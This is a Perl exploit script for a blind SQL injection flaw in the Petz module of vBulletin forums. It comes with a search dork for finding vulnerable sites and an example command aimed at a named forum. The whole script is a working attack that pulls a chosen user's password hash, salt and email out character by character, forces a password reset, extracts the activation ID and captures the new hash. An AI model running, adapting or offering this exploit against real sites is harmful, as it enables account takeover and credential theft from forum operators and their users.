#!/usr/bin/perl 

# Vbulletin module Petz with sql-injection.
# coded by k1b0rg(768620)
#
# This exploit changing your buyer. 
# A new password consists of figures, the length of 8 and going to take a great brut of time(passwords pro);) 
# If you do not need to change the password, simply stop exploit at the time of the removal of the password. 
# Running exploit again sent two letters to the box. Be akkuratney. 
# In the first test of vulnerability when sql error, the box webmaster sent a letter of error. Be akkuratney.
# 
# dork: inurl:petz.php
#
# download module: http://dev.p3tz.com/
#
# Lamers go to жопа.
# exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1
#
# needly:
# mysql >=4
# magic_quotes off
# direct hands
#
# greets: antichat.ru mini-rinok.ru
#

use LWP::UserAgent;
use Getopt::Std;
use strict;
my %opts;

getopts("i:p:l:P:s:e:u:",\%opts);
  my $url=$opts{u};
  my $id=$opts{i} || 9107;
  my $prefix=$opts{P} || '';
  my $password1=$opts{p};
  my $salt1=$opts{s};
  my $length=$opts{l};
  my $email1=$opts{e};


if(!$url || !$id)
{
echo('-------------------------FUCK YOU SPILBERG!----------------------');
echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
echo('exp: perl petz.pl -uhttp://forumteen.net/diendan/ -i1');
echo('-------------------------FUCK YOU SPILBERG!----------------------');
exit;
}




my $browser = LWP::UserAgent->new();
$browser->requests_redirectable([]);

echo('Petz sql injection');
echo('Founded and coded by k1b0rg(768620)');
########check on vuln and getting prefix#######################################
echo('[\] Step 0: [Checking vuln]');
my $res=$browser->get($url.'petz.php?do=view&id=9995681\'');
if($res->content=~/Database error/i)
{
echo('[|] This script is vulnerable!!!!');
$res->content=~/LEFT JOIN (.*?)user/i;
echo('[/] Prefix is: ['.$1.']');
}
else
{
echo('[|] This script NOT vulnerable!!!!');
exit;
}




########password1#######################################
echo('[-] Step 1: [getting password(one) user by id ['.$id.']');
echo('[\] Password(1): [');
if(!$password1)
  {
   for(1..32)
    {
      my $pos=$_;
      for(48..57,97..103)
        {
          my $asc=$_;
          if($asc==103) {echo('EXPLOIT FAILED]',0); exit;}
          my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(substring(password,'.$pos.',1))='.$asc.')/*');
          if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); last; }
        }
   }
  }
else
 {
  echo($password1,0);
 }
echo(']',0);

########salt1#######################################
echo('[|] Step 2: [getting salt(one) user by id ['.$id.']');
echo('[-] Salt(1): [');
my $salt;
if(!$salt1)
 {
   for(1..3)
    {
      my $pos=$_;
      for(33..126)
        {
         my $asc=$_;
         my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(substring(salt,'.$pos.',1))='.$asc.')/*');
         if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $salt.=chr($asc); last; }
        }
   }
  }
else
  {
    $salt=$salt1;
    echo($salt,0);
  }
echo(']',0);


########Checking email length#######################################
echo('[\] Step 3: [Checking email length ['.$id.']');
echo('[|] Email length: [');
my $num;
if(!$email1)
  {
    if(!$length)
      {
        for(6..32)
          {
            $num=$_;
            my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(length(email)='.$num.')/*');
            if($res->content!~/Untrapped Error/is) {echo($num,0); last; }
          }
      }
    else
      {
        $num=$length;
        echo($num,0);
      }
  }
else
  {
    $num=length($email1);
    echo($num,0);
  }
echo(']',0);

########losting email#######################################
echo('[/] Step 4: [getting email user by id ['.$id.']');
echo('[-] Email: [');
my $email;
if(!$email1)
  {
    for(1..$num)
      {
        my $pos=$_;
        for(48..57,64,97..122)
          {
            my $asc=$_;
            my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(lower(substring(email,'.$pos.',1)))='.$asc.')/*');
            if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $email.=chr($asc); last; }
          }
      }
  }
else
  {
    $email=$email1;
    echo($email,0);
  }
echo(']',0);

########lost_password#######################################
echo('[\] Step 5: [Losting password]');
$browser->post($url.'login.php',
              [
              email=>$email,
              do=>'emailpassword'
              ]);

########losting activationid#######################################
echo('[|] Step 7: [getting activationid user by id ['.$id.']');
echo('[/] activationid: [');
my $valid;
for(1..8)
  {
    my $pos=$_;
    for(48..57)
      {
        my $asc=$_;
        my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'useractivation+WHERE+userid=\''.$id.'\'+and(ascii(substring(activationid,'.$pos.',1))='.$asc.')/*');
        if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $valid.=chr($asc); last; }
      }
  }
echo(']',0);


########lost_password#######################################
echo('[-] Step 8: [Losting password]');
$browser->get($url.'login.php?a=pwd&u='.$id.'&i='.$valid);


########password2#######################################
echo('[\] Step 9: [getting password(two) user by id ['.$id.']');
echo('[|] Password(2): [');
my $newhash;
for(1..32)
  {
    my $pos=$_;
    for(48..57,97..102)
      {
        my $asc=$_;
        my $res=$browser->get($url.'petz.php?do=stealitem&id=9995681\'+union+SELECT+666,666+FROM+'.$prefix.'user+WHERE+userid=\''.$id.'\'+and(ascii(substring(password,'.$pos.',1))='.$asc.')/*');
        if($res->content!~/Untrapped Error/is) {echo(chr($asc),0); $newhash.=chr($asc); last; }
      }
  }
echo(']',0);


echo('News hash && salt: ['.$newhash.':'.$salt.']');


sub echo{
  my $text=shift;
  my $param=shift;
  my $razdel=($param eq 0)?'':"\n";
  syswrite STDOUT,$razdel.$text;
}